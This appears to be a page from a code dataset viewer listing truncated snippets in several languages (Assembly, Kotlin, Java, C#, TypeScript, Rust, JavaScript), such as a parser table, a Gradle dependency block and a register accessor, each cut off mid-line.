beq QUIT
tst.w looping
bne MAPPE_MONDE
subq.w #1,compteur_moi
bne MAPPE_MONDE
rts
***************************************************************************
include calclarg.t
even
include dsp_play.t
e... | Assembly |
.unsplash.com/" +
"photo-1614313511387-1436a4480ebb" +
"?ixlib=rb-1.2.1" +
"&ixid=MnwxMjA3fDB8MHxwaG90by1wYWdlfHx8fGVufDB8fHx8" +
"&auto=format" +
"&fit=crop" +
"&w=1760" +
"&q=80"
BaseLiquorType.GIN ... | Kotlin |
;248;248;242m [0m[38;2;248;248;242m{[0m
[38;2;248;248;242m [0m[3;38;2;166;226;46mScanner[0m[38;2;248;248;242m st [0m[38;2;249;38;114m=[0m[38;2;248;248;242m [0m[38;2;249;38;114mnew[0m[38;2;248;248;242m [0m[3;38;2;166;226;46mScanner[0m[38;2;248;248;242m([0m[3;38;2;166;226;46mSystem[0m[38... | Java |
f(LunyRuntimeAssetRegistry)} resource");
ApplyRunInBackgroundSetting();
CreateLuaStates(m_AssetRegistry.RuntimeContext, m_AssetRegistry.ModdingContext);
//RegisterLunyScriptComponents();
}
private void OnDestroy()
{
OnDestroyLunyRuntime?.Invoke();
m_RuntimeLua?.Dispose();
m_ModdingLua?.Disp... | C# |
apitools:openapi-generator:$openApiGeneratorVersion")
implementation("org.openapitools:openapi-generator-cli:$openApiGeneratorVersion")
// Align versions of all Kotlin components
implementation(platform("org.jetbrains.kotlin:kotlin-bom"))
// Use the Kotlin JDK 8 standard library.
implementation("o... | Kotlin |
5,EOF,new Reduce(p37))
table.put(45,")",new Reduce(p37))
table.put(45,"&&",new Shift(22))
table.put(46,"&&",new Reduce(p35))
table.put(46,"||",new Reduce(p35))
table.put(46,EOF,new Reduce(p35))
table.put(46,")",new Reduce(p35))
table.put(46,"|",new Shift(23))
table.put(47,"|",new Reduce(p33))
table.put(47,"&&",new Redu... | Typescript |
a> {
#[doc = r"Writes raw bits to the field"]
#[inline(always)]
pub unsafe fn bits(self, value: u8) -> &'a mut W {
self.w.bits = (self.w.bits & !(0x03 << 14)) | (((value as u32) & 0x03) << 14);
self.w
}
}
#[doc = "Reader of field `SENSITIVE_DMA_APBPERI_UCHI0_PMS_CONSTRAIN_SRAM_WORLD_1_PM... | Rust |
[to_return] = "double";
}
else if(matching_patterns(pattern_array,input_lang,lang,arr,[
[["php"],
["function_call","json_encode",["$a"]]],
[["javascript"],
[".",["JSON",["function_call","stringify",["$a"]]]]],
[["python"],
[".",["json",["function_call","dumps",["$a"]]]]]
]
,matching_symbols)){
var... | JavaScript |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.